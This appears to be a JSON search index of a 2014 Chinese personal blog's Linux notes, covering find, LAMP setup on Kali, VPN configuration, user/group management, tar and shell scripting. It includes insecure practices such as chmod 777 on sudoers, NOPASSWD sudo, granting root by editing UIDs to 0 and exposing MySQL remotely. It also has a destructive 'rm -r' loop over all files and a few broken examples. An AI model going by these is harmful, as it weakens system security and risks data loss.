  "content"  : "## find 概览在目录中搜索文件,并执行指定的操作。功能很强大。由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只你具有相应的权限。 在运行一个非常消耗资源的find命令时,很多人都倾向于把它放在后台执行,因为遍历一个大的文件系统可能会花费很长的时间(这里是指30G字节以上的文件系统)。1.命令格式:find pathname -options [-print -exec -ok ...]()2.命令功能:用于在文件树种查找文件,并作出相应的处理 3.命令参数:pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。 -print: find命令将匹配的文件输出到标准输出。 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ {  } \;,注意{   }和\;之间的空格。 -ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。4.命令选项:-name   按照文件名查找文件。-perm   按照文件权限来查找文件。-prune  使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。-user   按照文件属主来查找文件。-group  按照文件所属的组来查找文件。-mtime -n +n  按照文件的更改时间来查找文件, - n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。-nogroup  查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。-nouser   查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。-newer file1 ! file2  查找更改时间比文件file1新但比文件file2旧的文件。-type  查找某一类型的文件,诸如:b - 块设备文件。d - 目录。c - 字符设备文件。p - 管道文件。l - 符号链接文件。f - 普通文件。-size n:[c]() 查找文件长度为n块的文件,带有c时表示文件长度以字节计。-depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。-fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。-mount:在查找文件时不跨越文件系统mount点。-follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。-cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。另外,下面三个的区别:-amin n   查找系统中最后N分钟访问的文件-atime n  查找系统中最后n\*24小时访问的文件-cmin n   查找系统中最后N分钟被改变文件状态的文件-ctime n  查找系统中最后n\*24小时被改变文件状态的文件-mmin n   查找系统中最后N分钟被改变文件数据的文件-mtime n  查找系统中最后n\*24小时被改变文件数据的文件5.使用实例:实例1:查找指定时间内修改过的文件 命令:	       find -atime -2 根据关键字查找 命令:find . -name “\*.log” 按照目录或文件的权限来查找文件命令:find /opt/soft/test/ -perm 777 查找当前所有目录并排序命令:find . -type d | sort  按大小查找文件命令:find . -size +1000c -print"
} ,
  
{
  "title"    : "Web server 网络服务器",
  "category" : "",
  "tags"     : "Web, server, 网络服务器",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Web-server-%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E5%99%A8.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Web server 网络服务器网络环境下为客户提供某种服务的专用计算机。Web / WWW:  World Wide Web (环球信息网) 中文名:万维网www 服务器 :几乎所有网络主机 都会安装.很多软件都是用 www 作为显示接口的 非常重要.一般用 Apache. Mail Server 邮件系统企业可以组建自己的Internet邮件服务器.(需要固定 IP / 域名 / 服务器)私人公司: 邮件有商业机密 或者 隐私 .这个就不放心用免费的邮箱了需要自己搭建服务器.smtpSMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。SMTP协议属于TCP/IP协议族,它帮助每台计算机在发送或中转信件时找到下一个目的地。通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上了,整个过程只要几分钟。SMTP服务器则是遵循SMTP协议的发送邮件服务器,用来发送或中转发出的电子邮件。pop3POP3(Post Office Protocol 3)即邮局协议的第3个版本,它是规定个人计算机如何连接到互联网上的邮件服务器进行收发邮件的协议。它是因特网电子邮件的第一个离线协议标准,POP3协议允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时根据客户端的操作删除或保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的。POP3协议是TCP/IP协议族中的一员,,由RFC 1939 定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件imapInternet Mail Access Protocol(交互式邮件存取协议)IMAP是斯坦福大学在1986年开发的研发的一种邮件获取协议。它的主要作用是邮件客户端(例如MS Outlook Express)可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。当前的权威定义是RFC3501。IMAP协议运行在TCP/IP协议之上,使用的端口是143。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。"
} ,
  
{
  "title"    : "Web building",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Web-building.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Kali / Debian - Web building**环境要求:** Apache + PHP + Mysql> 一般三个都是自带的.只要配置下就可以用了.> 可以查看版本信息来判断有没有安装  `apache -v`/`apache2 -v`  `php -v`  `mysql -V`> 没有的话: > apt-get install apache2> apt-get install mysql-server mysql-client > PHP服务 是不需要启动的!!  只要配置好就可以的.1. 启动Apache服务. 	2. 写个最简单的 xx.html xx.php 		放到: /var/www/html/ 文件夹下 (**必须放在这个文件夹下**)		3. 浏览器 http://210.22.92.254/xx.php 就能看到 php 网页了.### Kali Apache 配置**主配置文件** /etc/apache2/apache2.conf*service apache2 status / start / stop / restart*Default Web Page:别的电脑网页 输入 172.19.16.169:80 能看到默认页面了.说明 apache 正确安装了.> 前提是 要启动 apache 服务啊.**默认网页位置:** `/var/www/html/index.html``vi index.html` 文件 就可以把网址改成你自己想要的了.> 默认页面 有很多有用的东西的 建议仔细看看.### Kali PHPPHP 不需要启动!!!!!`/var/www/html` 目录 放 xx.php 文件就可以用 http://127.0.0.1/xx.php 来访问.1. 首先  写个 php 文件	2. `vi /var/www/info.php`			3. 浏览器:  http://172.19.16.169/info.php  就能看的 php 的网页界面了.### Apache + PHPApache 是否能识别 PHP 引擎.进入 php 信息页 (info.php  内容是 phpinfo() 这个的 php 脚本.)可以看到 是否 支持 PHP / Mysql / IPv6 等等还有 Document Root 的路径  这个就是你网页放的路径!!!!!### kali Mysql / Debian Mysql**启用远程访问数据库: 3306> 默认不能远程连接数据库的. `vi /etc/mysql/mysql.conf.d/mysqld.cnf`将bind-address = 127.0.0.1注销**启动服务**`service mysql status / start / stop / restart `**开机启动 Mysql `vi /etc/rc.local`  → 加入启动 mysql的命令: `service mysql start`**进入 Mysql1. root 没有密码:	`mysql -u root` 就能进入 mysql 控制面板了.	2. root 有密码:		`mysql -u root -p`  ↵ → 输入密码**Mysql 使用**`use mysql;`          选择一个数据库`show tables;`        显示表.`select * ftom user;` 显示表内容.---- ------- 环境都搭好了 然后就写网页了.."
} ,
  
{
  "title"    : "Vim",
  "category" : "",
  "tags"     : "编辑器",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Vim.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Vim 编辑器I   键     编辑模式Esc  正常阅读模式花键 +/     查找命令"
} ,
  
{
  "title"    : "VPN - 流控",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/VPN-%E6%B5%81%E6%8E%A7.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "# Debian L2TP一、安装 IPSec。IPSec 会对 IP 数据包进行加密和验证。  推荐用 openswan 这个后台软件包来跑 IPSec。用以下命令安装 openswan:sudo apt-get  install openswan1.1 配置sysctl参数    sudo mv /etc/sysctl.conf /etc/sysctl.conf.bak备份文件     sudo vim /etc/sysctl.conf    —————新建文件 并输入如下内容-------------    net.ipv4.ip_forward = 1    net.ipv4.conf.all.accept_redirects = 0    net.ipv6.conf.all.accept_redirects = 0    net.ipv4.conf.all.send_redirects = 0 "
} ,
  
{
  "title"    : "User/Group",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/User-Group.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## User/Group# 用户:账号+密码 能登录 共享文件夹.# 用户组:  不同的组有不同的权限 . 方便管理.不用每个人都去设置."
} ,
  
{
  "title"    : "User/Group passwd File",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/User-Group-passwd-File.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## User/Group passwd File :  **七个字段组成:**  用户名:密码(x表示):用户标识:组标识: 注释 :用户家目录: 用户登录后启动的一个进程.`root  :   x       :    0   :   0  : root : /root    :  /bin/bash  ``bin   :   x       :    1   :   1  : bin  : /bin     :  /sbin/nologin  ``daemon:   x       :    2   :   2  :daemon: /sbin    :  /sbin/nologin  `> 字段3/4 0 表示 root 用户/用户组  > 字段7 nologin 就是不让用户登录的意思.## sudoers:  |作用|命令|注释||:---:|:---:|:---:|| 查看文件权限 | ll /etc/sudoers |  默认只读.要先修改权限(用 root 登录修改) |  | 修改文件权限 | chmod 777 sudoers | root 登录 等下最好改回去  chmod 440 sudoers  ||||root 登录: 可用 vi  :wq! 强制修改,用别的账户登录无效.| | 编辑sudoers文件 |vi /etc/sudoers | 找到 root ALL=(ALL) AL (倒数17行左右); 此行下添加两行|||xujian ALL=(ALL) ALL|这个 切换 sudo 时 需要输入密码的.|||xx0219 ALL=(ALL) NOPASSWD:ALL | 这个 切换 sudo 时 不需要输入密码.|## 权限分配### 普通用户 → Root 权限  1. root登录2. adduser 新建用户名3. passwd 增加新用户密码4. 修改/etc/passwd即可,把用户名的ID和ID组修改成0。	  "
} ,
  
{
  "title"    : "User/Group Files",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/User-Group-Files.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## User/Group Files :  `/etc/passwd `   系统账户信息.`/etc/shadow `   账户密码信息.加密的密码,不是明文.  `/etc/group  `   群组信息 这里修改群组名  `/etc/sudoers`   给普通用户 开通临时使用 root 的权限"
} ,
  
{
  "title"    : "User Group Command",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/User-Group-Command.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## User Group Command|   作用   |   命令 |  实例                    || 创建用户 | useradd| useradd xujian           || 删除账号 | userdel| userdel xujian           || 删除密码 | passwd | passwd -d xujian         |  | 修改密码 | passwd | passwd xujian xujian     |  | 修改账号 | usermod| usermod xujian -l xx0219 |- 超级用户: 能给任何人 创建/修改 任何格式的密码.  	(*普通用户也能用简单密码*,一定要 root 账户等进去改.自己是改不了简单密码的)**User Command**`useradd xujian` → 增加用户`userdel xujian` → 删除用户 `passwd test`    → 给test这个用户加密> 新增用户后,必须给他设置密码,不然不能登录。`who`            → 当前用户 `who -q`         → 在线用户`last`           → 用户登录记录`lastb`          → 登录失败记录`id xujian`      → 某用户信息  - 修改用户目录	`usermod -d /home/test` 	> 将test用户的登录目录改成/home/test- 加入用户组	`gpasswd -a test test2` 	> 将用户test加入到test2组- 离开用户组	`gpasswd -d test test2` 	> //将用户test从test2组中移出- 查看所有用户	`cut -d : -f 1 /etc/passwd`**Group Command**`groups xujian`           → xujian所在的组`groupadd  test`          → 增加 test 组`groupdel test2`          → 删除 test2组`cat /etc/group`          → 查看所有组 `groupmod -n test2  test` → 将test组名改成test2"
} ,
  
{
  "title"    : "User / Passwd Linux.",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/User-Passwd-Linux.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## User / Passwd Linux.*用户账号:*  1. 超级用户:	root用户是linux系统中默认的超级用户,  	对于本机拥有至高无上的权限。   2. 普通用户:	拥有的权限受到一定的限制,  	一般普通用户在自己的宿主目录拥有完整的权限。 3. 程序用户:	在安装linux系统及部分应用程序时,会添加一些特定的底权限用户账号,	这些用户一般不允许登录系统,仅用于维护某个程序正常运行。*组账号:* 基于某种特定联系将多个用户集合在一起,即构成一个用户组,用于表示该组内所有用户的账户称为组账号。每个用户至少属于一个组,这个组称为该用户的基本组(或私有组),如果该用户还属于其他组。则这个组称为该用户的附加组(或公共组)。3、UID和GID号   **UID:**linux系统中每个用户都有一个数字形式的身份标记,称为UID.- root账户 UID固定为 “0”	- 程序用户 UID默认为 “1-499”	- 普通用户 UID默认为 “500-60000” **GID:**linux系统中每个组账号也有一个数字形式的身份标记,称为GID.- root组GID固定为“0”,	- 程序组GID默认为“1-499”,	- 普通组GID默认为“500-60000”。**用户账户文件**  用户的账户分别存放在 `/etc/passwd`  `/etc/shadow` 中> shadow又称影子文件   如下:通过命令“cat /etc/passwd”命令查看passwd文件中的内容。在passwd文件中一共有七段,分别用“:”隔开。每段解释如下:   第一段:用户账号的名称,也就是用户登录名。   第二段:经过加密的用户密码字串。(或者密码站位符“x”)   第三段:用户的UID号。   第四段:所属基本组的GID号。   第五段:用户全名,可填写与用户相关的说明信息。   第六段:用户的宿主目录,普通用户默认在“/home”下的同名目录。   第七章:登录shell信息,用户登录后使用的shell。如下:通过“cat /etc/shadow”命令查看shadow文件中的内容。在shadow文件中保存有各用账号的密码信息,所以对shadow文件访问有着严格的限制,默认只root才能读取文件的内容,而且不能直接编辑文件。在shadow文件中一共分为九段,也分别使用“:”隔开。每段解释如下:   第一段:用户账号名号,也就是登录名。   第二段:使用MD5加密的密码字串,当为“*”或“!!”时不能登录系统,当为空时,则不需要密码就可登录系统。   第三段:上次密码修改时间到现在的天数。   第四段:密码的最短有效期,值为0时表示进行限制。   第五段:密码的最长有效期,值为99999时表示不进行限制。   第六段:密码过期时提前警告的天数,默认值为7天。   第七段:在密码过期后多少天内禁用此用户。   第八段:账号的实效时间,值为空时表示永久有效。   第九段:保留字段,目前没有待定用途。用户账户管理。   useradd命令——添加用户账户   useradd [选项]() [用户名]()   -u:指定用户的UID号。   -d:指定用户的宿主目录位置。   -e:指定用户的失效时间,使用YYYY-MM-DD格式。   -g:指定用户的基本组。   -G:指定用户的附加组。   -M:创建用户时不建立宿主目录。   -s:指定用户的登录shell。   如下:新建用户admin,指定宿主目录在根目录下,基本组为root组。并使用tail命令查看新建的用户。passwd命令——为用户账户设置密码   passwd [选项]() [用户名]()   -d:清空指定用户的密码,可以使用空密码登录。   -l:锁定用户。   -S:查看用户的状态(是否被锁定)。   -u:解锁用户。   单独使用passwd命令时只能对当前用户设置密码,普通用户使用passwd密令设置密码时,必须输入旧密码,新密码并且必须在六位以上。   如下:为刚才新建的用户admin设置密码。usermod命令——修改用户的属性。   -u:修改用户的UID号。   -d:修改用户的宿主目录位置。   -e:修改用户的实效时间,使用YYYY-MM-DD的格式。   -g:修改用户的基本组。   -G:修改用户的附加组。   -M:不为用户建立并初始化宿主目录。   -s:指定用户的登录shell。   -l:更改用户的登录名。   -L:锁定用户账户。   -U:解锁用户账户。   如下:使用usermod命令修改root的基本组,并将root的宿主目录移到home目录下(若要修改已有账号的宿主目录,需要先将原有的宿主目录转移到新的位置,然后再通过usermod命令设置新的宿主目录位置。)。userdel命令——删除用户账户。   userdel [选项]() [用户名]()   -r:删除用户时同时删除用户的宿主目录。组账户管理   和用户一样,组账户也有两个相关的配置文件分别是“/etc/group”和“/etc/gshadow”。这两个文件内容和用户文件一样基本相同,这里就不在详述了。   groupadd命令——新建组   groupadd [选项]() [组名]()   -g:指定组的GID号。   如下:新建benet组,指定GID号为200。gpasswd命令——添加,设置,删除组成员   gpasswd [选项]() [组]()   -a:将指定用户添加到指定组。   -d:删除指定用。   -M:批量添加用户到指定组。   如下:将刚才新建的admin用户加入到benet组中。groupdel命令——删除组   groupdel [组名]()查询账号信息   groups命令——查询用户账户所属的组   groups [用户名]()   如下:查询刚才新建的admin用户属于那些组。id命令——查询用户账号的UID   id [用户名]()finger命令——查询用户账户的登录属性   finger [用户名]()w命令——查询当前主机的用户登录情况(也可以使用user或who命令)如下:使用w命令查看当前系统中的用户登录情况。本文出自 “邓奇的Blog” 博客,谢绝转载!"
} ,
  
{
  "title"    : "Update / Upgrade",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Update-Upgrade.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Update / Upgrade**更新系统**> 不管什么更新 最好更新下 源!*更新源*`apt-get update`*软件更新* 最常用`apt-get upgrade`*升级系统* (版本之间的升级 变化很大)`apt-get dist-upgrade`"
} ,
  
{
  "title"    : "Ubuntu",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Ubuntu.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Ubuntupptp vpn 安装:1. 安装 pptp :        apt-get install pptpd2. 编辑 pptp.conf     vi /etc/pptpd.conf3. 将以下内容行的注释去掉:(18 / 99 / 100 行)option /etc/ppp/pptpd-optionslocalip 192.168.0.1remoteip 192.168.0.201-245这两句设置了当外部计算机通过pptp联接到vpn后所能拿到的ip地址范围和服务器的ip地址设置。4. 添加登录用户vi /etc/ppp/chap-secrets添加一行,格式如下用户名 pptpd "你想要的密码" * 用户名不要引号密码要用半角双引号括起来千万不能忘了 星号.星号是说允许从任何IP地址联接,如果你想单独设定IP地址也可以。理论上到这里一个vpn就已经搭建完毕了。无论你用的是Windows还是OSX,或者是iPhone OS,都可以通过建立一个pptp链接来联入这个VPN。不过你并不能通过这个来上Internet,因为所有的数据都作用于那台pptpd的服务器上, 而不会传入拨入的计算机设备上。要上Internet还需要这么干:设置DNS解析,编辑pptpd-optionsvi /etc/ppp/pptpd-options"
} ,
  
{
  "title"    : "UUID",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/UUID.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## UUIDUniversally Unique Identifier*通用唯一识别码*这是软件构建的标准.指的是 在 一台机器上生成的数字,保证对在同一时空中的所有机器都是唯一的.用到了 以太网地址. 纳秒级时间,芯片 ID ..UUID 组成:当前时间日期:第一部分 个时间有关.你生成一个 UUID.过几秒后又生成一个  第一部分是不一样的.其余是相同的.2. 时钟序列3. 全球唯一的 IEEE 机器识别码.> 如果有网卡 那么优先从MAC 地址获取.唯一缺陷是:生成的结果 比较长!!!其格式为:xxxxxxxx-xxxx- xxxx-xxxxxxxxxxxxxxxx(8-4-4-16),其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。而标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12),可以从cflib 下载CreateGUID() UDF进行转换。"
} ,
  
{
  "title"    : "UID &amp; GID",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/UID-&-GID.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "*使用者 ID* (User  ID 简称 *UID*)*群组   ID* (Group ID 简称 *GID*) > 每个用户 至少有两个 ID     > 电脑根据这两个 id 判断用户.(而不是用户名)*UID* `0    `  → 系统管理员`1-499`  → 系统账号`500+ `  → 分配给用户使用."
} ,
  
{
  "title"    : "Terimal",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Terimal.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "基本用法:- 分页显示:	ls | less	ls | more- 结果输出:	arp -a > xx.txt	//  直接给出文件名字. (文件不需要存在)  在哪运行 就保存在哪. "
} ,
  
{
  "title"    : "Tar Compress / uncompress",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Tar-Compress-uncompress.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "### Tar Compress / uncompress压缩:compress解压:uncompress*压缩原理:文件是用 byte来计量的    1byte=8bits比如 数字1   实际是00000001     前面有7个o 这个可以通过软件去掉 这就是压缩.还有 比如有个数据  有连续100个1    压缩技术会用100个1  几个字 代替真的100个1字 这也是压缩> 简单的说  文件里面有相当多的空间存在  0000001 前面的0 都是空间. 压缩就是优化这些没用的0空间多文件 压缩的话 用 tar**tar -j ctx v filaname.tar.bz2    **   mkisofs  把文件变成映像 cdrecord  光盘刻录.**打包:**将许多个文件和目录合并保存为一个整体的包文件,以方便传递或携带。   **压缩:**进一步降低打包好的包文件所占用的磁盘空间。    在linux系统中比较常见的压缩工具包括gzip、bzip2,最常用的打包命令工具为tar。使用tar命令可以通过特定选项自动调用gzip或bzip2程序,以完成打包,压缩的整套流程,当然也可以完成解压,释放包文件的整套流程。gzip和bzip2是linux系统中常用的两个压缩工具,这两个命令都可以压缩指定的文件,或者将已经压缩过的文件进行再次压缩。(不能对目录进行压缩)两者使用的压缩算法个不相同但命令使用格式基本类似,一般来所bzip2的压缩比率要好些。   gzip :压缩和解压缩工具,默认后缀是“.gz”。   gzip [选项]() [目标文件]()   -9 :提高压缩的比率。   -d :解压缩,默认解压到当前目录。   列如:一下操作将对当前目录下的file文件进行压缩,生成压缩文件file.gz(原始文件file不在保留),压缩后的文件大小变为242KB(未压缩时为892KB)bzip2和bunzip2 :压缩和解压缩工具,默认后缀是“.bz2”。   bzip2 [选项]() [目标文件]()   -9 :提高压缩的比率。   -d :解压缩,默认解压到当前目录。   列如:一下操作将对当前目录下的file文件进行压缩,生成压缩文件file.bz2(原始文件file不在保留),压缩后的文件大小变为206KB(未压缩时为892KB)tar命令主要是对目录和文件进行打包,在实际的备份工作中,通常在打包的同时也会将包文件进行压缩(需要调用前面的gzip或bzip2),以便节省磁盘空间。使用tar命令时选项前面的“-”好可以省略。   -c :创建.tar格式的包文件。   -C :解包是制定释放的目标文件。   -f :表示使用归档文件。   -j :调用bzip2程序进行压缩或解压。   -p :打包时保留文件及目录的权限。   -P :打包时保留文件及目录的绝对路径。   -t :列表查看包内的文件。   -v :输出详细信息。   -x :解开.tar格式的包文件。   -z :调用gzip程序进行压缩或解压。制作打包文件   tar [选项]() [归档及压缩文件名]() [需要归档的源文件或目录]()   如果需要对制作的归档文件进行压缩,可以通过“-z”或“-j”选项自动调用压缩工具(分别对应gzip、bzip2命令程序)进行压缩。   列如:以下操作将/boot目录进行打包压缩,在当前目录下生成名为boot.tar.gz的包文件。从包文件中解压数据   tar [选项]() [归档及压缩文件名]() [-C 目标目录]()   当从“ .tar.gz”格式的包文件中解压数据时,需要结合“-z”选项来自动调用压缩工具,而对于“ .tar.bz2”格式的归档压缩包,对应的是“-j”选项。默认情况下,解压的数据将放在当前目录,如果要恢复到指定的目录下,还需要使用“-C”选项来指定目标目录。   列如:以下操作将上面打包的“boot.tar.gz”文件解压到根目录下。(将覆盖现有的目录)注意:使用tar命令可以很好的结合gzip、bzip2压缩工具,所以我们很少会将gzip和bzip2单独调用。都是将“gzipb和zip2”结合到tar命令中一起使用的。"
} ,
  
{
  "title"    : "TTY",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/TTY.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "**终端的本质是对应 Linux 的 /dev/tty 设备.**多用户登录 就是用 /dev/tty 完成的.Linux 提供 6个 terminal也就是 6个 virtual console.物理机上可以通过  ⌃+⌥+F1-F6 来切换."
} ,
  
{
  "title"    : "TTL",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/TTL.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## TTL > 不同的操作系统 TTL 默认值是不同的. 可以根据这个来判断对方的操作系统.默认 TTL 值:- Linux                          64/255	- Windows 98                     32	- Windows NT/2000/xp             128	- Unix                           255	- LINUX Kernel 2.2.x & 2.4.x     64	- LINUX Kernel 2.6.x             47		……如果把windows服务器的 TTL 值 默认128 改成255. 那么扫描工具就会把这个服务器当成 Unix 系统.这就安全多了.- 修改方法: 通过注册表.	  "
} ,
  
{
  "title"    : "Shell",
  "category" : "",
  "tags"     : "Shell",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Shell.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Shell-Script## Shell、Shell Script 概念- shell是一个应用程序,这个程序提供一个界面,用户通过这个界面访问操作系统内核的服务。- shell脚本(shell script):是一种用shell编写的脚本程序。一些命令的集合而已.> 适合修改文件.##### 软件要求: 文本编辑器(如: vi )  + 脚本解释器.> Mac: 自带 sh bash zsh 等等多种 解释器.  > Win: 自行安装脚本解释器.##### 脚本解释器: 常用编程语言都支持脚本编程,如:Perl、Tcl、Python、PHP、Ruby。- sh :---------- 标准 shell 解释器 路径→ /bin/sh- bash :-------- sh 的升级版.  路径→ /bin/bash- Perl:--------- 最老牌的脚本编程语言了.- Python:------- 新linux发行版的预置解释器.指令执行 顺序 从上玩下 从左到右.多个空格 和 空行 会被自动忽略.# 良好习惯:脚本功能版本资讯作者联系方式版权历史记录内部特殊指令 用  绝对路径来下达环境参数设定.脚本写说明.结构.在{}里面 最好用 tab 键 后推.  这样代码才漂亮.使用 vim 而不是 vivim 支持语法检测,能第一时间发现语法问题.用 read  与用户进行互动(让用户可以选择输入内容) 或者选择文件安装路径.按照日期 对文件进行备份.可以将文件名 取成: 带日期的格式  假设  脚本:用户自定义文件夹名字.   输出 带有日期的文件夹名字.所有脚本 放在一个固定的文件夹.	#!/bin/bash	# Program:	#       This program shows "Hello World!" in your screen.	# History:	# 2015/07/16    VBird   First release	PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin	export PATH	echo -e "Hello World! \a \n"	exit 0文本结构.1. 第一行:指定 shell 版本2. 环境参数设置 及 备注内容,联系方式,建立日期主要环境参数设置:务必设定, PATH 和 LANG可以直接下达指令 而不必写 绝对路径.!!!!!3. 脚本主体.4. 执行结果通知(定义 回传值)5. exit n(n 是数字)  可以自定义错误信息?	  	  	  	  	  	  	  ## 脚本主要成分: 注释 命令  变量 结构控制语句变量: 整数/英文串# 实例:	#! /bin/bash	mkdir xx   #新建文件夹	cd xx  # 进入文件夹	rm xx #删除文件夹	rm -r xx # 删除文件夹及其下所有目录.	cd ..   # 回到上级文件夹.				for i in 1 2 3  # 设置一个变量 i 让它分别取 1 2 3,也就是重复三次的意思.	do	    mkdir he	    cd he	    mkdir llo	    cd..	    rm -r he	donefor i in \*dorm -r $idone管理主机:查看登录档案追踪流量监控主机状态硬件状态软件更新查询.## 脚本编写:> 先学习简单的 sh/bash   有需求再学习高级的:Perl / python 脚本文本编辑器 → 新建文件 → 扩展名 sh( 代表shell)  > 扩展名不影响脚本执行 只是为了方便 见名知意  >  shell 写的脚本 扩展名用 .sh  >  php 写的脚本 扩展名用 .php 行为单位.!!! #### 第一行:   一般都是这样的 	#!/bin/sh	#!/usr/bin/php   >   \#!: 约定标记,告诉系统 这个脚本需要用什么解释器来执行.  #### 第二行脚本功能说明. #### 脚本运行方法: (二选一)- 作为可执行程序 (给文件 可执行权限)		chmod +x xu.sh		./xu.sh	> 运行二进制程序 一定要加 ./  意思是在当前目录找- 直接运行指定解释器,不需在第一行加解释器.加了也没用.	- sh test.sh	- php test.php#### 注释:- "#"号开头的都是注释.不执行.- 大段代码临时注释:	- 一行一个加# 太麻烦了 	- 可用花括号: { 代码 }  把代码变成一个函数.  达到和注释一样的效果.#### 变量:字符串/整形大型脚本,某一命令/路径出现几百次, 突然要换路径....... 而且为了避免脚本臃肿 → 这就需要变量.- 定义变量: your\_name="xujian"      	> 等号两边不能有空格.- 使用变量: $ + {变量名} > 例: echo ${your\_name}d=`date +%H:%M:%S`echo "Time is $d"计算两个数之和:	a=1	b=2	sum=$[$a+$b]	echo "sum is $sum"	#数学计算要用 [] 括号.  或者下面的 两个(())		a=10 b=20	echo $(($a+$b)) #### read 用户交互> 从标准输入获得变量值,后面跟变量名.	echo "please input a number:"	read x	echo "please input another number:"	read y	sum=[$a+$b]	echo "the sum is: $sum"上面代码也等于:read -p "please input a number:" xread -p "please input another number:" ysum=$[$a+$b]echo "the sum is: $sum"#### 预设变量:	sum=$[$1+$2]	echo $sum	输出:3	# 本脚本身没有定义 $1 $2  	脚本预设好的$1 就是1  $2 就是 2  $0 就是脚本文件名! ”/etc/init.d/iptables restart “ - 前面 /etc/init.d/iptables 其实是一个 shell 脚本- 后面 restart 脚本的预设变量.#### sleep 睡眠指令:固定多久之后执行脚本里面的 下一个命令.sleep 20 s/m/h/d #### 转义字符- " : 编程语言中有特殊意义,用作字符串的分界符- \" : 才是表示 " 本身#### 字符串:单引号 / 双引号单引号内: 任何字符都原样输出. 里面的变量无效.  双引号内: 可以有变量 也可以出现 转义字符.# 例:1. 进入到/tmp/目录;2.  列出当前目录中所有的文件名;3.  把所有当前的文件拷贝到/root/目录下;4.  删除当前目录下所有的文件。简单的4,需要你敲4次命令,按4次回车。麻烦! 这还只是几个命令 要是几十个命令...把所有的操作都记录到一个文档中,然后去调用文档中的命令,这样一步操作就可以完成。  其实这个文档呢就是shell脚本了,只是这个shell脚本有它特殊的格式。sehll 脚本能帮助我们很方便的管理服务器. 因为我们可以指定一个计划定时任务去运行某个脚本.139邮箱:发邮件的同时还可以发一条邮件通知的短信给用户.  利用这点,我们就可以在我们的linux服务器上部署监控的shell脚本,比如网卡流量有异常了或者服务器web服务器停止了就可以发一封邮件给管理员,同时发送给管理员一个报警短信这样可以让我们及时的知道服务器出问题了。自定义脚本 